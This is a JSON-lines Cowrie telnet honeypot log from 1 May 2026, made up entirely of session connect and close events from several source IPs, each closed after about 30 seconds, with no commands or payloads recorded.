{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":34140,"dst_ip":"159.203.135.109","dst_port":23,"session":"49a3522456aa","protocol":"telnet","message":"New connection: 81.30.157.18:34140 (159.203.135.109:23) [session: 49a3522456aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:10.065226Z"}
{"eventid":"cowrie.session.closed","duration":30.836410522460938,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:10.072365Z","src_ip":"37.187.24.227","session":"afc07ad5e6d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":58300,"dst_ip":"159.203.135.109","dst_port":23,"session":"c9b54945009e","protocol":"telnet","message":"New connection: 51.79.21.139:58300 (159.203.135.109:23) [session: c9b54945009e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:10.080089Z"}
{"eventid":"cowrie.session.closed","duration":30.85395908355713,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:10.085490Z","src_ip":"149.102.133.101","session":"441df9a993bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.290717124938965,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:10.093471Z","src_ip":"147.135.136.77","session":"760eb9c98268","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":34156,"dst_ip":"159.203.135.109","dst_port":23,"session":"3955187fe8fc","protocol":"telnet","message":"New connection: 81.30.157.18:34156 (159.203.135.109:23) [session: 3955187fe8fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:10.097754Z"}
{"eventid":"cowrie.session.closed","duration":30.518478870391846,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:10.105572Z","src_ip":"147.135.136.77","session":"7c83b2530ca4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":52146,"dst_ip":"159.203.135.109","dst_port":23,"session":"f368045a4573","protocol":"telnet","message":"New connection: 147.135.136.77:52146 (159.203.135.109:23) [session: f368045a4573]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:10.111790Z"}
{"eventid":"cowrie.session.closed","duration":31.181673288345337,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:10.250258Z","src_ip":"147.135.136.77","session":"5cb3bc2cc560","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":50588,"dst_ip":"159.203.135.109","dst_port":23,"session":"13a6260143b2","protocol":"telnet","message":"New connection: 168.119.91.149:50588 (159.203.135.109:23) [session: 13a6260143b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:10.468364Z"}
{"eventid":"cowrie.session.closed","duration":30.459197521209717,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:10.472412Z","src_ip":"168.119.91.149","session":"fdaf4df6af2b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":52178,"dst_ip":"159.203.135.109","dst_port":23,"session":"dc6e0e7be31b","protocol":"telnet","message":"New connection: 147.135.136.77:52178 (159.203.135.109:23) [session: dc6e0e7be31b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:10.546289Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":58362,"dst_ip":"159.203.135.109","dst_port":23,"session":"c8c7e542c1c7","protocol":"telnet","message":"New connection: 51.79.21.139:58362 (159.203.135.109:23) [session: c8c7e542c1c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:10.952237Z"}
{"eventid":"cowrie.session.closed","duration":30.56234121322632,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:11.041332Z","src_ip":"46.101.32.143","session":"adc268494e38","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.048627376556396,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:11.075252Z","src_ip":"173.249.44.46","session":"f4c9bcbfb390","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.13791060447693,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:11.081925Z","src_ip":"51.79.21.139","session":"50daff114a8b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.94883394241333,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:11.087695Z","src_ip":"147.135.136.77","session":"2ecac761cfbe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":52180,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a211e064551","protocol":"telnet","message":"New connection: 147.135.136.77:52180 (159.203.135.109:23) [session: 8a211e064551]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:11.130718Z"}
{"eventid":"cowrie.session.closed","duration":30.71834707260132,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:11.158866Z","src_ip":"147.135.136.77","session":"ac034702b836","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":34244,"dst_ip":"159.203.135.109","dst_port":23,"session":"7947e6b92997","protocol":"telnet","message":"New connection: 81.30.157.18:34244 (159.203.135.109:23) [session: 7947e6b92997]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:11.205656Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":58482,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c57763e008e","protocol":"telnet","message":"New connection: 51.79.21.139:58482 (159.203.135.109:23) [session: 4c57763e008e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:11.436180Z"}
{"eventid":"cowrie.session.closed","duration":30.3794002532959,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:11.571206Z","src_ip":"168.119.91.149","session":"13286c6c795c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":58500,"dst_ip":"159.203.135.109","dst_port":23,"session":"37382f7b237a","protocol":"telnet","message":"New connection: 51.79.21.139:58500 (159.203.135.109:23) [session: 37382f7b237a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:11.622393Z"}
{"eventid":"cowrie.session.closed","duration":31.713550090789795,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:11.774531Z","src_ip":"51.79.21.139","session":"04a761428b3f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.93133521080017,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:12.049754Z","src_ip":"51.79.21.139","session":"5e7a83acb309","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.644954681396484,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:12.056952Z","src_ip":"81.30.157.18","session":"86a78eaab42e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.86502981185913,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:12.062759Z","src_ip":"81.30.157.18","session":"858c31049cbc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":34344,"dst_ip":"159.203.135.109","dst_port":23,"session":"e0e5c3e3a857","protocol":"telnet","message":"New connection: 81.30.157.18:34344 (159.203.135.109:23) [session: e0e5c3e3a857]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:12.071036Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":52424,"dst_ip":"159.203.135.109","dst_port":23,"session":"0b56ac5217d9","protocol":"telnet","message":"New connection: 147.135.136.77:52424 (159.203.135.109:23) [session: 0b56ac5217d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:12.190639Z"}
{"eventid":"cowrie.session.closed","duration":30.55107569694519,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:12.201217Z","src_ip":"147.135.136.77","session":"d6dec7621505","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.945683479309082,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:12.541189Z","src_ip":"168.119.91.149","session":"9f085422e48f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":58542,"dst_ip":"159.203.135.109","dst_port":23,"session":"a42f1ecce657","protocol":"telnet","message":"New connection: 51.79.21.139:58542 (159.203.135.109:23) [session: a42f1ecce657]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:12.605660Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":51118,"dst_ip":"159.203.135.109","dst_port":23,"session":"d50861df69d0","protocol":"telnet","message":"New connection: 168.119.91.149:51118 (159.203.135.109:23) [session: d50861df69d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:12.701106Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":49234,"dst_ip":"159.203.135.109","dst_port":23,"session":"97e471dd8873","protocol":"telnet","message":"New connection: 149.102.133.101:49234 (159.203.135.109:23) [session: 97e471dd8873]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:12.711093Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":52548,"dst_ip":"159.203.135.109","dst_port":23,"session":"5865ef65279a","protocol":"telnet","message":"New connection: 147.135.136.77:52548 (159.203.135.109:23) [session: 5865ef65279a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:12.848174Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":34724,"dst_ip":"159.203.135.109","dst_port":23,"session":"8d84691c334f","protocol":"telnet","message":"New connection: 37.187.24.227:34724 (159.203.135.109:23) [session: 8d84691c334f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:12.894854Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":52614,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b67cffbb1ae","protocol":"telnet","message":"New connection: 147.135.136.77:52614 (159.203.135.109:23) [session: 9b67cffbb1ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:13.047303Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":51216,"dst_ip":"159.203.135.109","dst_port":23,"session":"f0a4973bce73","protocol":"telnet","message":"New connection: 168.119.91.149:51216 (159.203.135.109:23) [session: f0a4973bce73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:13.098938Z"}
{"eventid":"cowrie.session.closed","duration":30.927621364593506,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:13.111465Z","src_ip":"147.135.136.77","session":"e35a8813b515","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.34041476249695,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:13.168419Z","src_ip":"51.79.21.139","session":"52d84769112a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.313835382461548,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:13.197345Z","src_ip":"147.135.136.77","session":"27384f67a2a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":46464,"dst_ip":"159.203.135.109","dst_port":23,"session":"d080b6b4f588","protocol":"telnet","message":"New connection: 51.79.21.139:46464 (159.203.135.109:23) [session: d080b6b4f588]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:13.235435Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":51278,"dst_ip":"159.203.135.109","dst_port":23,"session":"10ea734cba29","protocol":"telnet","message":"New connection: 168.119.91.149:51278 (159.203.135.109:23) [session: 10ea734cba29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:13.353884Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.101.32.143","src_port":58388,"dst_ip":"159.203.135.109","dst_port":23,"session":"3442ca478013","protocol":"telnet","message":"New connection: 46.101.32.143:58388 (159.203.135.109:23) [session: 3442ca478013]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:13.478357Z"}
{"eventid":"cowrie.session.closed","duration":30.81727910041809,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:13.505229Z","src_ip":"168.119.91.149","session":"1f7fc9d6dbca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":34422,"dst_ip":"159.203.135.109","dst_port":23,"session":"257fb288913f","protocol":"telnet","message":"New connection: 81.30.157.18:34422 (159.203.135.109:23) [session: 257fb288913f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:13.511357Z"}
{"eventid":"cowrie.session.closed","duration":30.166170120239258,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:13.515172Z","src_ip":"168.119.91.149","session":"c8c33afdc04b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.956164598464966,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:13.653420Z","src_ip":"147.135.136.77","session":"c8e5fb73fe0d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":46812,"dst_ip":"159.203.135.109","dst_port":23,"session":"45340589606c","protocol":"telnet","message":"New connection: 51.79.21.139:46812 (159.203.135.109:23) [session: 45340589606c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:13.667142Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":46826,"dst_ip":"159.203.135.109","dst_port":23,"session":"d4ee92dddc5a","protocol":"telnet","message":"New connection: 51.79.21.139:46826 (159.203.135.109:23) [session: d4ee92dddc5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:13.682202Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":52818,"dst_ip":"159.203.135.109","dst_port":23,"session":"828e35a077df","protocol":"telnet","message":"New connection: 147.135.136.77:52818 (159.203.135.109:23) [session: 828e35a077df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:13.992908Z"}
{"eventid":"cowrie.session.closed","duration":30.36221957206726,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:14.019060Z","src_ip":"51.79.21.139","session":"8db803619540","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.950818300247192,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:14.036955Z","src_ip":"51.79.21.139","session":"f981971ffa7c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":47030,"dst_ip":"159.203.135.109","dst_port":23,"session":"852f9afcbbac","protocol":"telnet","message":"New connection: 51.79.21.139:47030 (159.203.135.109:23) [session: 852f9afcbbac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:14.077262Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":52836,"dst_ip":"159.203.135.109","dst_port":23,"session":"3267d1550504","protocol":"telnet","message":"New connection: 147.135.136.77:52836 (159.203.135.109:23) [session: 3267d1550504]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:14.085584Z"}
{"eventid":"cowrie.session.closed","duration":30.758578300476074,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:14.104327Z","src_ip":"147.135.136.77","session":"faf0ca6ac660","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":37818,"dst_ip":"159.203.135.109","dst_port":23,"session":"a8f93f15b4bf","protocol":"telnet","message":"New connection: 37.187.24.227:37818 (159.203.135.109:23) [session: a8f93f15b4bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:14.112802Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":52848,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b96596cac64","protocol":"telnet","message":"New connection: 147.135.136.77:52848 (159.203.135.109:23) [session: 8b96596cac64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:14.177744Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":45040,"dst_ip":"159.203.135.109","dst_port":23,"session":"a88215d71e1f","protocol":"telnet","message":"New connection: 81.30.157.18:45040 (159.203.135.109:23) [session: a88215d71e1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:14.540118Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":51526,"dst_ip":"159.203.135.109","dst_port":23,"session":"8476657d7023","protocol":"telnet","message":"New connection: 168.119.91.149:51526 (159.203.135.109:23) [session: 8476657d7023]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:14.563990Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":51596,"dst_ip":"159.203.135.109","dst_port":23,"session":"213521d11b58","protocol":"telnet","message":"New connection: 168.119.91.149:51596 (159.203.135.109:23) [session: 213521d11b58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:14.800999Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":51620,"dst_ip":"159.203.135.109","dst_port":23,"session":"510c00819cb4","protocol":"telnet","message":"New connection: 168.119.91.149:51620 (159.203.135.109:23) [session: 510c00819cb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:14.898811Z"}
{"eventid":"cowrie.session.closed","duration":30.52845311164856,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:15.014543Z","src_ip":"51.79.21.139","session":"89f3b1303aa8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":51626,"dst_ip":"159.203.135.109","dst_port":23,"session":"d953679e6aeb","protocol":"telnet","message":"New connection: 168.119.91.149:51626 (159.203.135.109:23) [session: d953679e6aeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:15.052836Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":51638,"dst_ip":"159.203.135.109","dst_port":23,"session":"35c2085480db","protocol":"telnet","message":"New connection: 168.119.91.149:51638 (159.203.135.109:23) [session: 35c2085480db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:15.065922Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":52902,"dst_ip":"159.203.135.109","dst_port":23,"session":"4827ece5a046","protocol":"telnet","message":"New connection: 147.135.136.77:52902 (159.203.135.109:23) [session: 4827ece5a046]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:15.075080Z"}
{"eventid":"cowrie.session.closed","duration":30.550361156463623,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:15.079996Z","src_ip":"81.30.157.18","session":"237c3c045ee0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":52918,"dst_ip":"159.203.135.109","dst_port":23,"session":"d5efd0ac55aa","protocol":"telnet","message":"New connection: 147.135.136.77:52918 (159.203.135.109:23) [session: d5efd0ac55aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:15.143361Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":45070,"dst_ip":"159.203.135.109","dst_port":23,"session":"946c5f6cdb12","protocol":"telnet","message":"New connection: 81.30.157.18:45070 (159.203.135.109:23) [session: 946c5f6cdb12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:15.169130Z"}
{"eventid":"cowrie.session.closed","duration":31.195120573043823,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:15.179861Z","src_ip":"147.135.136.77","session":"0766ea286bbd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":51670,"dst_ip":"159.203.135.109","dst_port":23,"session":"79e49eb726fa","protocol":"telnet","message":"New connection: 168.119.91.149:51670 (159.203.135.109:23) [session: 79e49eb726fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:15.274302Z"}
{"eventid":"cowrie.session.closed","duration":30.745274543762207,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:15.501093Z","src_ip":"168.119.91.149","session":"efe33c420d65","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":52968,"dst_ip":"159.203.135.109","dst_port":23,"session":"c9f4af6f2e18","protocol":"telnet","message":"New connection: 147.135.136.77:52968 (159.203.135.109:23) [session: c9f4af6f2e18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:15.667260Z"}
{"eventid":"cowrie.session.closed","duration":31.58492684364319,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:15.717057Z","src_ip":"147.135.136.77","session":"e48f2b5a29fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":45112,"dst_ip":"159.203.135.109","dst_port":23,"session":"3bbc0699bc9c","protocol":"telnet","message":"New connection: 81.30.157.18:45112 (159.203.135.109:23) [session: 3bbc0699bc9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:15.885401Z"}
{"eventid":"cowrie.session.closed","duration":31.148289442062378,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:16.036716Z","src_ip":"147.135.136.77","session":"d68b9386407d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":52246,"dst_ip":"159.203.135.109","dst_port":23,"session":"52134323db12","protocol":"telnet","message":"New connection: 147.135.136.77:52246 (159.203.135.109:23) [session: 52134323db12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:16.042929Z"}
{"eventid":"cowrie.session.closed","duration":30.200562953948975,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:16.077165Z","src_ip":"37.187.24.227","session":"3f54108edc9f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.03081464767456,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:16.084769Z","src_ip":"147.135.136.77","session":"74108c57d136","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.6234347820282,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:16.093832Z","src_ip":"147.135.136.77","session":"24563bbaa6e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.955026388168335,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:16.173363Z","src_ip":"147.135.136.77","session":"480b1825b9c4","protocol":"telnet"}
